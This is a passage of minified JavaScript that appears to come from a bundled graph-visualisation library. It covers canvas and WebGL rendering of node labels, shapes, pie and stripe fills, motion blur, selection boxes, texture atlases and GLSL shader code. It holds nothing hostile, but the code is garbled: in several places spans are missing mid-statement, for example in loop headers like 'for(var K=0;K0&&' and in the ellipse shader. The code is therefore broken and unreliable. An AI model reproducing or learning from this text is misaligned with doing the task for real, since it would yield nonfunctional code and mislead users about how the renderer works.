m=r?r+"-":"",g=Us(s,"labelWidth",r),y=Us(s,"labelHeight",r),v=e.pstyle(m+"text-margin-x").pfValue,x=e.pstyle(m+"text-margin-y").pfValue,b=e.isEdge(),T=e.pstyle("text-halign").value,S=e.pstyle("text-valign").value;b&&(T="center",S="center"),u+=v,h+=x;var w;switch(n?w=this.getTextAngle(e,r):w=0,w!==0&&(f=u,d=h,t.translate(f,d),t.rotate(w),u=0,h=0),S){case"top":break;case"center":h+=y/2;break;case"bottom":h+=y;break}var k=e.pstyle("text-background-opacity").value,A=e.pstyle("text-border-opacity").value,C=e.pstyle("text-border-width").pfValue,R=e.pstyle("text-background-padding").pfValue,I=e.pstyle("text-background-shape").strValue,L=I==="round-rectangle"||I==="roundrectangle",E=I==="circle",D=2;if(k>0||C>0&&A>0){var _=t.fillStyle,O=t.strokeStyle,M=t.lineWidth,P=e.pstyle("text-background-color").value,B=e.pstyle("text-border-color").value,F=e.pstyle("text-border-style").value,G=k>0,$=C>0&&A>0,U=u-R;switch(T){case"left":U-=g;break;case"center":U-=g/2;break}var j=h-y-R,te=g+2*R,Y=y+2*R;if(G&&(t.fillStyle="rgba(".concat(P[0],",").concat(P[1],",").concat(P[2],",").concat(k*l,")")),$&&(t.strokeStyle="rgba(".concat(B[0],",").concat(B[1],",").concat(B[2],",").concat(A*l,")"),t.lineWidth=C,t.setLineDash))switch(F){case"dotted":t.setLineDash([1,1]);break;case"dashed":t.setLineDash([4,2]);break;case"double":t.lineWidth=C/4,t.setLineDash([]);break;case"solid":default:t.setLineDash([]);break}if(L?(t.beginPath(),Kce(t,U,j,te,Y,D)):E?(t.beginPath(),eqe(t,U,j,te,Y)):(t.beginPath(),t.rect(U,j,te,Y)),G&&t.fill(),$&&t.stroke(),$&&F==="double"){var oe=C/2;t.beginPath(),L?Kce(t,U+oe,j+oe,te-2*oe,Y-2*oe,D):t.rect(U+oe,j+oe,te-2*oe,Y-2*oe),t.stroke()}t.fillStyle=_,t.strokeStyle=O,t.lineWidth=M,t.setLineDash&&t.setLineDash([])}var J=2*e.pstyle("text-outline-width").pfValue;if(J>0&&(t.lineWidth=J),e.pstyle("text-wrap").value==="wrap"){var ue=Us(s,"labelWrapCachedLines",r),re=Us(s,"labelLineHeight",r),ee=g/2,Z=this.getLabelJustification(e);switch(Z==="auto"||(T==="left"?Z==="left"?u+=-g:Z==="center"&&(u+=-ee):T==="center"?Z==="left"?u+=-ee:Z==="right"&&(u+=ee):T==="right"&&(Z==="center"?u+=ee:Z==="right"&&(u+=g))),S){case"top":h-=(ue.length-1)*re;break;case"center":case"bottom":h-=(ue.length-1)*re;break}for(var K=0;K0&&t.strokeText(ue[K],u,h),t.fillText(ue[K],u,h),h+=re}else J>0&&t.strokeText(p,u,h),t.fillText(p,u,h);w!==0&&(t.rotate(-w),t.translate(-f,-d))}}};Lf={};Lf.drawNode=function(t,e,r){var n=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!0,i=arguments.length>4&&arguments[4]!==void 0?arguments[4]:!0,a=arguments.length>5&&arguments[5]!==void 0?arguments[5]:!0,s=this,l,u,h=e._private,f=h.rscratch,d=e.position();if(!(!At(d.x)||!At(d.y))&&!(a&&!e.visible())){var p=a?e.effectiveOpacity():1,m=s.usePaths(),g,y=!1,v=e.padding();l=e.width()+2*v,u=e.height()+2*v;var x;r&&(x=r,t.translate(-x.x1,-x.y1));for(var b=e.pstyle("background-image"),T=b.value,S=new Array(T.length),w=new Array(T.length),k=0,A=0;A0&&arguments[0]!==void 0?arguments[0]:D;s.eleFillStyle(t,e,W)},"setupShapeColor"),re=o(function(){var W=arguments.length>0&&arguments[0]!==void 0?arguments[0]:$;s.colorStrokeStyle(t,_[0],_[1],_[2],W)},"setupBorderColor"),ee=o(function(){var W=arguments.length>0&&arguments[0]!==void 0?arguments[0]:Y;s.colorStrokeStyle(t,j[0],j[1],j[2],W)},"setupOutlineColor"),Z=o(function(W,he,z,se){var le=s.nodePathCache=s.nodePathCache||[],ke=bue(z==="polygon"?z+","+se.join(","):z,""+he,""+W,""+J),ve=le[ke],ye,Re=!1;return ve!=null?(ye=ve,Re=!0,f.pathCache=ye):(ye=new Path2D,le[ke]=f.pathCache=ye),{path:ye,cacheHit:Re}},"getPath"),K=e.pstyle("shape").strValue,ae=e.pstyle("shape-polygon-points").pfValue;if(m){t.translate(d.x,d.y);var Q=Z(l,u,K,ae);g=Q.path,y=Q.cacheHit}var de=o(function(){if(!y){var W=d;m&&(W={x:0,y:0}),s.nodeShapes[s.getNodeShape(e)].draw(g||t,W.x,W.y,l,u,J,f)}m?t.fill(g):t.fill()},"drawShape"),ne=o(function(){for(var W=arguments.length>0&&arguments[0]!==void 0?arguments[0]:p,he=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0,z=h.backgrounding,se=0,le=0;le0&&arguments[0]!==void 0?arguments[0]:!1,he=arguments.length>1&&arguments[1]!==void 0?arguments[1]:p;s.hasPie(e)&&(s.drawPie(t,e,he),W&&(m||s.nodeShapes[s.getNodeShape(e)].draw(t,d.x,d.y,l,u,J,f)))},"drawPie"),q=o(function(){var W=arguments.length>0&&arguments[0]!==void 0?arguments[0]:!1,he=arguments.length>1&&arguments[1]!==void 0?arguments[1]:p;s.hasStripe(e)&&(t.save(),m?t.clip(f.pathCache):(s.nodeShapes[s.getNodeShape(e)].draw(t,d.x,d.y,l,u,J,f),t.clip()),s.drawStripe(t,e,he),t.restore(),W&&(m||s.nodeShapes[s.getNodeShape(e)].draw(t,d.x,d.y,l,u,J,f)))},"drawStripe"),Ve=o(function(){var W=arguments.length>0&&arguments[0]!==void 0?arguments[0]:p,he=(L>0?L:-L)*W,z=L>0?0:255;L!==0&&(s.colorFillStyle(t,z,z,z,he),m?t.fill(g):t.fill())},"darken"),pe=o(function(){if(E>0){if(t.lineWidth=E,t.lineCap=P,t.lineJoin=M,t.setLineDash)switch(O){case"dotted":t.setLineDash([1,1]);break;case"dashed":t.setLineDash(F),t.lineDashOffset=G;break;case"solid":case"double":t.setLineDash([]);break}if(B!=="center"){if(t.save(),t.lineWidth*=2,B==="inside")m?t.clip(g):t.clip();else{var W=new Path2D;W.rect(-l/2-E,-u/2-E,l+2*E,u+2*E),W.addPath(g),t.clip(W,"evenodd")}m?t.stroke(g):t.stroke(),t.restore()}else m?t.stroke(g):t.stroke();if(O==="double"){t.lineWidth=E/3;var he=t.globalCompositeOperation;t.globalCompositeOperation="destination-out",m?t.stroke(g):t.stroke(),t.globalCompositeOperation=he}t.setLineDash&&t.setLineDash([])}},"drawBorder"),Be=o(function(){if(U>0){if(t.lineWidth=U,t.lineCap="butt",t.setLineDash)switch(te){case"dotted":t.setLineDash([1,1]);break;case"dashed":t.setLineDash([4,2]);break;case"solid":case"double":t.setLineDash([]);break}var W=d;m&&(W={x:0,y:0});var he=s.getNodeShape(e),z=E;B==="inside"&&(z=0),B==="outside"&&(z*=2);var se=(l+z+(U+oe))/l,le=(u+z+(U+oe))/u,ke=l*se,ve=u*le,ye=s.nodeShapes[he].points,Re;if(m){var _e=Z(ke,ve,he,ye);Re=_e.path}if(he==="ellipse")s.drawEllipsePath(Re||t,W.x,W.y,ke,ve);else if(["round-diamond","round-heptagon","round-hexagon","round-octagon","round-pentagon","round-polygon","round-triangle","round-tag"].includes(he)){var ze=0,Ke=0,xt=0;he==="round-diamond"?ze=(z+oe+U)*1.4:he==="round-heptagon"?(ze=(z+oe+U)*1.075,xt=-(z/2+oe+U)/35):he==="round-hexagon"?ze=(z+oe+U)*1.12:he==="round-pentagon"?(ze=(z+oe+U)*1.13,xt=-(z/2+oe+U)/15):he==="round-tag"?(ze=(z+oe+U)*1.12,Ke=(z/2+U+oe)*.07):he==="round-triangle"&&(ze=(z+oe+U)*(Math.PI/2),xt=-(z+oe/2+U)/Math.PI),ze!==0&&(se=(l+ze)/l,ke=l*se,["round-hexagon","round-tag"].includes(he)||(le=(u+ze)/u,ve=u*le)),J=J==="auto"?Lue(ke,ve):J;for(var We=ke/2,Oe=ve/2,et=J+(z+U+oe)/2,Ue=new Array(ye.length/2),lt=new Array(ye.length/2),Gt=0;Gt0){if(i=i||n.position(),a==null||s==null){var m=n.padding();a=n.width()+2*m,s=n.height()+2*m}l.colorFillStyle(r,f[0],f[1],f[2],h),l.nodeShapes[d].draw(r,i.x,i.y,a+u*2,s+u*2,p),r.fill()}}}},"drawNodeOverlayUnderlay");Lf.drawNodeOverlay=Phe("overlay");Lf.drawNodeUnderlay=Phe("underlay");Lf.hasPie=function(t){return t=t[0],t._private.hasPie};Lf.hasStripe=function(t){return t=t[0],t._private.hasStripe};Lf.drawPie=function(t,e,r,n){e=e[0],n=n||e.position();var i=e.cy().style(),a=e.pstyle("pie-size"),s=e.pstyle("pie-hole"),l=e.pstyle("pie-start-angle").pfValue,u=n.x,h=n.y,f=e.width(),d=e.height(),p=Math.min(f,d)/2,m,g=0,y=this.usePaths();if(y&&(u=0,h=0),a.units==="%"?p=p*a.pfValue:a.pfValue!==void 0&&(p=a.pfValue/2),s.units==="%"?m=p*s.pfValue:s.pfValue!==void 0&&(m=s.pfValue/2),!(m>=p))for(var v=1;v<=i.pieBackgroundN;v++){var x=e.pstyle("pie-"+v+"-background-size").value,b=e.pstyle("pie-"+v+"-background-color").value,T=e.pstyle("pie-"+v+"-background-opacity").value*r,S=x/100;S+g>1&&(S=1-g);var w=1.5*Math.PI+2*Math.PI*g;w+=l;var k=2*Math.PI*S,A=w+k;x===0||g>=1||g+S>1||(m===0?(t.beginPath(),t.moveTo(u,h),t.arc(u,h,p,w,A),t.closePath()):(t.beginPath(),t.arc(u,h,p,w,A),t.arc(u,h,m,A,w,!0),t.closePath()),this.colorFillStyle(t,b[0],b[1],b[2],T),t.fill(),g+=S)}};Lf.drawStripe=function(t,e,r,n){e=e[0],n=n||e.position();var i=e.cy().style(),a=n.x,s=n.y,l=e.width(),u=e.height(),h=0,f=this.usePaths();t.save();var d=e.pstyle("stripe-direction").value,p=e.pstyle("stripe-size");switch(d){case"vertical":break;case"righward":t.rotate(-Math.PI/2);break}var m=l,g=u;p.units==="%"?(m=m*p.pfValue,g=g*p.pfValue):p.pfValue!==void 0&&(m=p.pfValue,g=p.pfValue),f&&(a=0,s=0),s-=m/2,a-=g/2;for(var y=1;y<=i.stripeBackgroundN;y++){var v=e.pstyle("stripe-"+y+"-background-size").value,x=e.pstyle("stripe-"+y+"-background-color").value,b=e.pstyle("stripe-"+y+"-background-opacity").value*r,T=v/100;T+h>1&&(T=1-h),!(v===0||h>=1||h+T>1)&&(t.beginPath(),t.rect(a,s+g*h,m,g*T),t.closePath(),this.colorFillStyle(t,x[0],x[1],x[2],b),t.fill(),h+=T)}t.restore()};us={},tqe=100;us.getPixelRatio=function(){var t=this.data.contexts[0];if(this.forcedPixelRatio!=null)return this.forcedPixelRatio;var e=this.cy.window(),r=t.backingStorePixelRatio||t.webkitBackingStorePixelRatio||t.mozBackingStorePixelRatio||t.msBackingStorePixelRatio||t.oBackingStorePixelRatio||t.backingStorePixelRatio||1;return(e.devicePixelRatio||1)/r};us.paintCache=function(t){for(var e=this.paintCaches=this.paintCaches||[],r=!0,n,i=0;ie.minMbLowQualFrames&&(e.motionBlurPxRatio=e.mbPxRBlurry)),e.clearingMotionBlur&&(e.motionBlurPxRatio=1),e.textureDrawLastFrame&&!d&&(f[e.NODE]=!0,f[e.SELECT_BOX]=!0);var b=r.style(),T=r.zoom(),S=s!==void 0?s:T,w=r.pan(),k={x:w.x,y:w.y},A={zoom:T,pan:{x:w.x,y:w.y}},C=e.prevViewport,R=C===void 0||A.zoom!==C.zoom||A.pan.x!==C.pan.x||A.pan.y!==C.pan.y;!R&&!(y&&!g)&&(e.motionBlurPxRatio=1),l&&(k=l),S*=u,k.x*=u,k.y*=u;var I=e.getCachedZSortedEles();function L(re,ee,Z,K,ae){var Q=re.globalCompositeOperation;re.globalCompositeOperation="destination-out",e.colorFillStyle(re,255,255,255,e.motionBlurTransparency),re.fillRect(ee,Z,K,ae),re.globalCompositeOperation=Q}o(L,"mbclear");function E(re,ee){var Z,K,ae,Q;!e.clearingMotionBlur&&(re===h.bufferContexts[e.MOTIONBLUR_BUFFER_NODE]||re===h.bufferContexts[e.MOTIONBLUR_BUFFER_DRAG])?(Z={x:w.x*m,y:w.y*m},K=T*m,ae=e.canvasWidth*m,Q=e.canvasHeight*m):(Z=k,K=S,ae=e.canvasWidth,Q=e.canvasHeight),re.setTransform(1,0,0,1,0,0),ee==="motionBlur"?L(re,0,0,ae,Q):!n&&(ee===void 0||ee)&&re.clearRect(0,0,ae,Q),i||(re.translate(Z.x,Z.y),re.scale(K,K)),l&&re.translate(l.x,l.y),s&&re.scale(s,s)}if(o(E,"setContextTransform"),d||(e.textureDrawLastFrame=!1),d){if(e.textureDrawLastFrame=!0,!e.textureCache){e.textureCache={},e.textureCache.bb=r.mutableElements().boundingBox(),e.textureCache.texture=e.data.bufferCanvases[e.TEXTURE_BUFFER];var D=e.data.bufferContexts[e.TEXTURE_BUFFER];D.setTransform(1,0,0,1,0,0),D.clearRect(0,0,e.canvasWidth*e.textureMult,e.canvasHeight*e.textureMult),e.render({forcedContext:D,drawOnlyNodeLayer:!0,forcedPxRatio:u*e.textureMult});var A=e.textureCache.viewport={zoom:r.zoom(),pan:r.pan(),width:e.canvasWidth,height:e.canvasHeight};A.mpan={x:(0-A.pan.x)/A.zoom,y:(0-A.pan.y)/A.zoom}}f[e.DRAG]=!1,f[e.NODE]=!1;var _=h.contexts[e.NODE],O=e.textureCache.texture,A=e.textureCache.viewport;_.setTransform(1,0,0,1,0,0),p?L(_,0,0,A.width,A.height):_.clearRect(0,0,A.width,A.height);var M=b.core("outside-texture-bg-color").value,P=b.core("outside-texture-bg-opacity").value;e.colorFillStyle(_,M[0],M[1],M[2],P),_.fillRect(0,0,A.width,A.height);var T=r.zoom();E(_,!1),_.clearRect(A.mpan.x,A.mpan.y,A.width/A.zoom/u,A.height/A.zoom/u),_.drawImage(O,A.mpan.x,A.mpan.y,A.width/A.zoom/u,A.height/A.zoom/u)}else e.textureOnViewport&&!n&&(e.textureCache=null);var B=r.extent(),F=e.pinching||e.hoverData.dragging||e.swipePanning||e.data.wheelZooming||e.hoverData.draggingEles||e.cy.animated(),G=e.hideEdgesOnViewport&&F,$=[];if($[e.NODE]=!f[e.NODE]&&p&&!e.clearedForMotionBlur[e.NODE]||e.clearingMotionBlur,$[e.NODE]&&(e.clearedForMotionBlur[e.NODE]=!0),$[e.DRAG]=!f[e.DRAG]&&p&&!e.clearedForMotionBlur[e.DRAG]||e.clearingMotionBlur,$[e.DRAG]&&(e.clearedForMotionBlur[e.DRAG]=!0),f[e.NODE]||i||a||$[e.NODE]){var U=p&&!$[e.NODE]&&m!==1,_=n||(U?e.data.bufferContexts[e.MOTIONBLUR_BUFFER_NODE]:h.contexts[e.NODE]),j=p&&!U?"motionBlur":void 0;E(_,j),G?e.drawCachedNodes(_,I.nondrag,u,B):e.drawLayeredElements(_,I.nondrag,u,B),e.debug&&e.drawDebugPoints(_,I.nondrag),!i&&!p&&(f[e.NODE]=!1)}if(!a&&(f[e.DRAG]||i||$[e.DRAG])){var U=p&&!$[e.DRAG]&&m!==1,_=n||(U?e.data.bufferContexts[e.MOTIONBLUR_BUFFER_DRAG]:h.contexts[e.DRAG]);E(_,p&&!U?"motionBlur":void 0),G?e.drawCachedNodes(_,I.drag,u,B):e.drawCachedElements(_,I.drag,u,B),e.debug&&e.drawDebugPoints(_,I.drag),!i&&!p&&(f[e.DRAG]=!1)}if(this.drawSelectionRectangle(t,E),p&&m!==1){var te=h.contexts[e.NODE],Y=e.data.bufferCanvases[e.MOTIONBLUR_BUFFER_NODE],oe=h.contexts[e.DRAG],J=e.data.bufferCanvases[e.MOTIONBLUR_BUFFER_DRAG],ue=o(function(ee,Z,K){ee.setTransform(1,0,0,1,0,0),K||!x?ee.clearRect(0,0,e.canvasWidth,e.canvasHeight):L(ee,0,0,e.canvasWidth,e.canvasHeight);var ae=m;ee.drawImage(Z,0,0,e.canvasWidth*ae,e.canvasHeight*ae,0,0,e.canvasWidth,e.canvasHeight)},"drawMotionBlur");(f[e.NODE]||$[e.NODE])&&(ue(te,Y,$[e.NODE]),f[e.NODE]=!1),(f[e.DRAG]||$[e.DRAG])&&(ue(oe,J,$[e.DRAG]),f[e.DRAG]=!1)}e.prevViewport=A,e.clearingMotionBlur&&(e.clearingMotionBlur=!1,e.motionBlurCleared=!0,e.motionBlur=!0),p&&(e.motionBlurTimeout=setTimeout(function(){e.motionBlurTimeout=null,e.clearedForMotionBlur[e.NODE]=!1,e.clearedForMotionBlur[e.DRAG]=!1,e.motionBlur=!1,e.clearingMotionBlur=!d,e.mbFrames=0,f[e.NODE]=!0,f[e.DRAG]=!0,e.redraw()},tqe)),n||r.emit("render")};us.drawSelectionRectangle=function(t,e){var r=this,n=r.cy,i=r.data,a=n.style(),s=t.drawOnlyNodeLayer,l=t.drawAllLayers,u=i.canvasNeedsRedraw,h=t.forcedContext;if(r.showFps||!s&&u[r.SELECT_BOX]&&!l){var f=h||i.contexts[r.SELECT_BOX];if(e(f),r.selection[4]==1&&(r.hoverData.selecting||r.touchData.selecting)){var d=r.cy.zoom(),p=a.core("selection-box-border-width").value/d;f.lineWidth=p,f.fillStyle="rgba("+a.core("selection-box-color").value[0]+","+a.core("selection-box-color").value[1]+","+a.core("selection-box-color").value[2]+","+a.core("selection-box-opacity").value+")",f.fillRect(r.selection[0],r.selection[1],r.selection[2]-r.selection[0],r.selection[3]-r.selection[1]),p>0&&(f.strokeStyle="rgba("+a.core("selection-box-border-color").value[0]+","+a.core("selection-box-border-color").value[1]+","+a.core("selection-box-border-color").value[2]+","+a.core("selection-box-opacity").value+")",f.strokeRect(r.selection[0],r.selection[1],r.selection[2]-r.selection[0],r.selection[3]-r.selection[1]))}if(i.bgActivePosistion&&!r.hoverData.selecting){var d=r.cy.zoom(),m=i.bgActivePosistion;f.fillStyle="rgba("+a.core("active-bg-color").value[0]+","+a.core("active-bg-color").value[1]+","+a.core("active-bg-color").value[2]+","+a.core("active-bg-opacity").value+")",f.beginPath(),f.arc(m.x,m.y,a.core("active-bg-size").pfValue/d,0,2*Math.PI),f.fill()}var g=r.lastRedrawTime;if(r.showFps&&g){g=Math.round(g);var y=Math.round(1e3/g),v="1 frame = "+g+" ms = "+y+" fps";if(f.setTransform(1,0,0,1,0,0),f.fillStyle="rgba(255, 0, 0, 0.75)",f.strokeStyle="rgba(255, 0, 0, 0.75)",f.font="30px Arial",!j2){var x=f.measureText(v);j2=x.actualBoundingBoxAscent}f.fillText(v,0,j2);var b=60;f.strokeRect(0,j2+10,250,20),f.fillRect(0,j2+10,250*Math.min(y/b,1),20)}l||(u[r.SELECT_BOX]=!1)}};o(Qce,"compileShader");o(rqe,"createProgram");o(nqe,"createTextureCanvas");o(MI,"getEffectivePanZoom");o(iqe,"getEffectiveZoom");o(aqe,"modelToRenderedPosition");o(sqe,"isSimpleShape");o(oqe,"arrayEqual");o(dp,"toWebGLColor");o(Zm,"indexToVec4");o(lqe,"vec4ToIndex");o(cqe,"createTexture");o(Bhe,"getTypeInfo");o(Fhe,"createTypedArray");o(uqe,"createTypedArrayView");o(hqe,"createBufferStaticDraw");o(Mc,"createBufferDynamicDraw");o(fqe,"create3x3MatrixBufferDynamicDraw");o(dqe,"createPickingFrameBuffer");Zce=typeof Float32Array<"u"?Float32Array:Array;Math.hypot||(Math.hypot=function(){for(var t=0,e=arguments.length;e--;)t+=arguments[e]*arguments[e];return Math.sqrt(t)});o(BM,"create");o(Jce,"identity");o(pqe,"multiply");o(Yk,"translate");o(eue,"rotate");o(aI,"scale");o(mqe,"projection");gqe=(function(){function t(e,r,n,i){Af(this,t),this.debugID=Math.floor(Math.random()*1e4),this.r=e,this.texSize=r,this.texRows=n,this.texHeight=Math.floor(r/n),this.enableWrapping=!0,this.locked=!1,this.texture=null,this.needsBuffer=!0,this.freePointer={x:0,row:0},this.keyToLocation=new Map,this.canvas=i(e,r,r),this.scratch=i(e,r,this.texHeight,"scratch")}return o(t,"Atlas"),_f(t,[{key:"lock",value:o(function(){this.locked=!0},"lock")},{key:"getKeys",value:o(function(){return new Set(this.keyToLocation.keys())},"getKeys")},{key:"getScale",value:o(function(r){var n=r.w,i=r.h,a=this.texHeight,s=this.texSize,l=a/i,u=n*l,h=i*l;return u>s&&(l=s/n,u=n*l,h=i*l),{scale:l,texW:u,texH:h}},"getScale")},{key:"draw",value:o(function(r,n,i){var a=this;if(this.locked)throw new Error("can't draw, atlas is locked");var s=this.texSize,l=this.texRows,u=this.texHeight,h=this.getScale(n),f=h.scale,d=h.texW,p=h.texH,m=o(function(T,S){if(i&&S){var w=S.context,k=T.x,A=T.row,C=k,R=u*A;w.save(),w.translate(C,R),w.scale(f,f),i(w,n),w.restore()}},"drawAt"),g=[null,null],y=o(function(){m(a.freePointer,a.canvas),g[0]={x:a.freePointer.x,y:a.freePointer.row*u,w:d,h:p},g[1]={x:a.freePointer.x+d,y:a.freePointer.row*u,w:0,h:p},a.freePointer.x+=d,a.freePointer.x==s&&(a.freePointer.x=0,a.freePointer.row++)},"drawNormal"),v=o(function(){var T=a.scratch,S=a.canvas;T.clear(),m({x:0,row:0},T);var w=s-a.freePointer.x,k=d-w,A=u;{var C=a.freePointer.x,R=a.freePointer.row*u,I=w;S.context.drawImage(T,0,0,I,A,C,R,I,A),g[0]={x:C,y:R,w:I,h:p}}{var L=w,E=(a.freePointer.row+1)*u,D=k;S&&S.context.drawImage(T,L,0,D,A,0,E,D,A),g[1]={x:0,y:E,w:D,h:p}}a.freePointer.x=k,a.freePointer.row++},"drawWrapped"),x=o(function(){a.freePointer.x=0,a.freePointer.row++},"moveToStartOfNextRow");if(this.freePointer.x+d<=s)y();else{if(this.freePointer.row>=l-1)return!1;this.freePointer.x===s?(x(),y()):this.enableWrapping?v():(x(),y())}return this.keyToLocation.set(r,g),this.needsBuffer=!0,g},"draw")},{key:"getOffsets",value:o(function(r){return this.keyToLocation.get(r)},"getOffsets")},{key:"isEmpty",value:o(function(){return this.freePointer.x===0&&this.freePointer.row===0},"isEmpty")},{key:"canFit",value:o(function(r){if(this.locked)return!1;var n=this.texSize,i=this.texRows,a=this.getScale(r),s=a.texW;return this.freePointer.x+s>n?this.freePointer.row1&&arguments[1]!==void 0?arguments[1]:{},a=i.forceRedraw,s=a===void 0?!1:a,l=i.filterEle,u=l===void 0?function(){return!0}:l,h=i.filterType,f=h===void 0?function(){return!0}:h,d=!1,p=!1,m=qs(r),g;try{for(m.s();!(g=m.n()).done;){var y=g.value;if(u(y)){var v=qs(this.renderTypes.values()),x;try{var b=o(function(){var S=x.value,w=S.type;if(f(w)){var k=n.collections.get(S.collection),A=S.getKey(y),C=Array.isArray(A)?A:[A];if(s)C.forEach(function(E){return k.markKeyForGC(E)}),p=!0;else{var R=S.getID?S.getID(y):y.id(),I=n._key(w,R),L=n.typeAndIdToKey.get(I);L!==void 0&&!oqe(C,L)&&(d=!0,n.typeAndIdToKey.delete(I),L.forEach(function(E){return k.markKeyForGC(E)}))}}},"_loop2");for(v.s();!(x=v.n()).done;)b()}catch(T){v.e(T)}finally{v.f()}}}}catch(T){m.e(T)}finally{m.f()}return p&&(this.gc(),d=!1),d},"invalidate")},{key:"gc",value:o(function(){var r=qs(this.collections.values()),n;try{for(r.s();!(n=r.n()).done;){var i=n.value;i.gc()}}catch(a){r.e(a)}finally{r.f()}},"gc")},{key:"getOrCreateAtlas",value:o(function(r,n,i,a){var s=this.renderTypes.get(n),l=this.collections.get(s.collection),u=!1,h=l.draw(a,i,function(p){s.drawClipped?(p.save(),p.beginPath(),p.rect(0,0,i.w,i.h),p.clip(),s.drawElement(p,r,i,!0,!0),p.restore()):s.drawElement(p,r,i,!0,!0),u=!0});if(u){var f=s.getID?s.getID(r):r.id(),d=this._key(n,f);this.typeAndIdToKey.has(d)?this.typeAndIdToKey.get(d).push(a):this.typeAndIdToKey.set(d,[a])}return h},"getOrCreateAtlas")},{key:"getAtlasInfo",value:o(function(r,n){var i=this,a=this.renderTypes.get(n),s=a.getKey(r),l=Array.isArray(s)?s:[s];return l.map(function(u){var h=a.getBoundingBox(r,u),f=i.getOrCreateAtlas(r,n,h,u),d=f.getOffsets(u),p=_i(d,2),m=p[0],g=p[1];return{atlas:f,tex:m,tex1:m,tex2:g,bb:h}})},"getAtlasInfo")},{key:"getDebugInfo",value:o(function(){var r=[],n=qs(this.collections),i;try{for(n.s();!(i=n.n()).done;){var a=_i(i.value,2),s=a[0],l=a[1],u=l.getCounts(),h=u.keyCount,f=u.atlasCount;r.push({type:s,keyCount:h,atlasCount:f})}}catch(d){n.e(d)}finally{n.f()}return r},"getDebugInfo")}])})(),bqe=(function(){function t(e){Af(this,t),this.globalOptions=e,this.atlasSize=e.webglTexSize,this.maxAtlasesPerBatch=e.webglTexPerBatch,this.batchAtlases=[]}return o(t,"AtlasBatchManager"),_f(t,[{key:"getMaxAtlasesPerBatch",value:o(function(){return this.maxAtlasesPerBatch},"getMaxAtlasesPerBatch")},{key:"getAtlasSize",value:o(function(){return this.atlasSize},"getAtlasSize")},{key:"getIndexArray",value:o(function(){return Array.from({length:this.maxAtlasesPerBatch},function(r,n){return n})},"getIndexArray")},{key:"startBatch",value:o(function(){this.batchAtlases=[]},"startBatch")},{key:"getAtlasCount",value:o(function(){return this.batchAtlases.length},"getAtlasCount")},{key:"getAtlases",value:o(function(){return this.batchAtlases},"getAtlases")},{key:"canAddToCurrentBatch",value:o(function(r){return this.batchAtlases.length===this.maxAtlasesPerBatch?this.batchAtlases.includes(r):!0},"canAddToCurrentBatch")},{key:"getAtlasIndexForBatch",value:o(function(r){var n=this.batchAtlases.indexOf(r);if(n<0){if(this.batchAtlases.length===this.maxAtlasesPerBatch)throw new Error("cannot add more atlases to batch");this.batchAtlases.push(r),n=this.batchAtlases.length-1}return n},"getAtlasIndexForBatch")}])})(),Tqe=` + float circleSD(vec2 p, float r) { + return distance(vec2(0), p) - r; // signed distance + } +`,wqe=` + float rectangleSD(vec2 p, vec2 b) { + vec2 d = abs(p)-b; + return distance(vec2(0),max(d,0.0)) + min(max(d.x,d.y),0.0); + } +`,kqe=` + float roundRectangleSD(vec2 p, vec2 b, vec4 cr) { + cr.xy = (p.x > 0.0) ? cr.xy : cr.zw; + cr.x = (p.y > 0.0) ? cr.x : cr.y; + vec2 q = abs(p) - b + cr.x; + return min(max(q.x, q.y), 0.0) + distance(vec2(0), max(q, 0.0)) - cr.x; + } +`,Eqe=` + float ellipseSD(vec2 p, vec2 ab) { + p = abs( p ); // symmetry + + // find root with Newton solver + vec2 q = ab*(p-ab); + float w = (q.x1.0) ? d : -d; + } +`,nx={SCREEN:{name:"screen",screen:!0},PICKING:{name:"picking",picking:!0}},sE={IGNORE:1,USE_BB:2},FM=0,tue=1,rue=2,$M=3,Jm=4,Pk=5,K2=6,Q2=7,Sqe=(function(){function t(e,r,n){Af(this,t),this.r=e,this.gl=r,this.maxInstances=n.webglBatchSize,this.atlasSize=n.webglTexSize,this.bgColor=n.bgColor,this.debug=n.webglDebug,this.batchDebugInfo=[],n.enableWrapping=!0,n.createTextureCanvas=nqe,this.atlasManager=new xqe(e,n),this.batchManager=new bqe(n),this.simpleShapeOptions=new Map,this.program=this._createShaderProgram(nx.SCREEN),this.pickingProgram=this._createShaderProgram(nx.PICKING),this.vao=this._createVAO()}return o(t,"ElementDrawingWebGL"),_f(t,[{key:"addAtlasCollection",value:o(function(r,n){this.atlasManager.addAtlasCollection(r,n)},"addAtlasCollection")},{key:"addTextureAtlasRenderType",value:o(function(r,n){this.atlasManager.addRenderType(r,n)},"addTextureAtlasRenderType")},{key:"addSimpleShapeRenderType",value:o(function(r,n){this.simpleShapeOptions.set(r,n)},"addSimpleShapeRenderType")},{key:"invalidate",value:o(function(r){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{},i=n.type,a=this.atlasManager;return i?a.invalidate(r,{filterType:o(function(l){return l===i},"filterType"),forceRedraw:!0}):a.invalidate(r)},"invalidate")},{key:"gc",value:o(function(){this.atlasManager.gc()},"gc")},{key:"_createShaderProgram",value:o(function(r){var n=this.gl,i=`#version 300 es + precision highp float; + + uniform mat3 uPanZoomMatrix; + uniform int uAtlasSize; + + // instanced + in vec2 aPosition; // a vertex from the unit square + + in mat3 aTransform; // used to transform verticies, eg into a bounding box + in int aVertType; // the type of thing we are rendering + + // the z-index that is output when using picking mode + in vec4 aIndex; + + // For textures + in int aAtlasId; // which shader unit/atlas to use + in vec4 aTex; // x/y/w/h of texture in atlas + + // for edges + in vec4 aPointAPointB; + in vec4 aPointCPointD; + in vec2 aLineWidth; // also used for node border width + + // simple shapes + in vec4 aCornerRadius; // for round-rectangle [top-right, bottom-right, top-left, bottom-left] + in vec4 aColor; // also used for edges + in vec4 aBorderColor; // aLineWidth is used for border width + + // output values passed to the fragment shader + out vec2 vTexCoord; + out vec4 vColor; + out vec2 vPosition; + // flat values are not interpolated + flat out int vAtlasId; + flat out int vVertType; + flat out vec2 vTopRight; + flat out vec2 vBotLeft; + flat out vec4 vCornerRadius; + flat out vec4 vBorderColor; + flat out vec2 vBorderWidth; + flat out vec4 vIndex; + + void main(void) { + int vid = gl_VertexID; + vec2 position = aPosition; // TODO make this a vec3, simplifies some code below + + if(aVertType == `.concat(FM,`) { + float texX = aTex.x; // texture coordinates + float texY = aTex.y; + float texW = aTex.z; + float texH = aTex.w; + + if(vid == 1 || vid == 2 || vid == 4) { + texX += texW; + } + if(vid == 2 || vid == 4 || vid == 5) { + texY += texH; + } + + float d = float(uAtlasSize); + vTexCoord = vec2(texX / d, texY / d); // tex coords must be 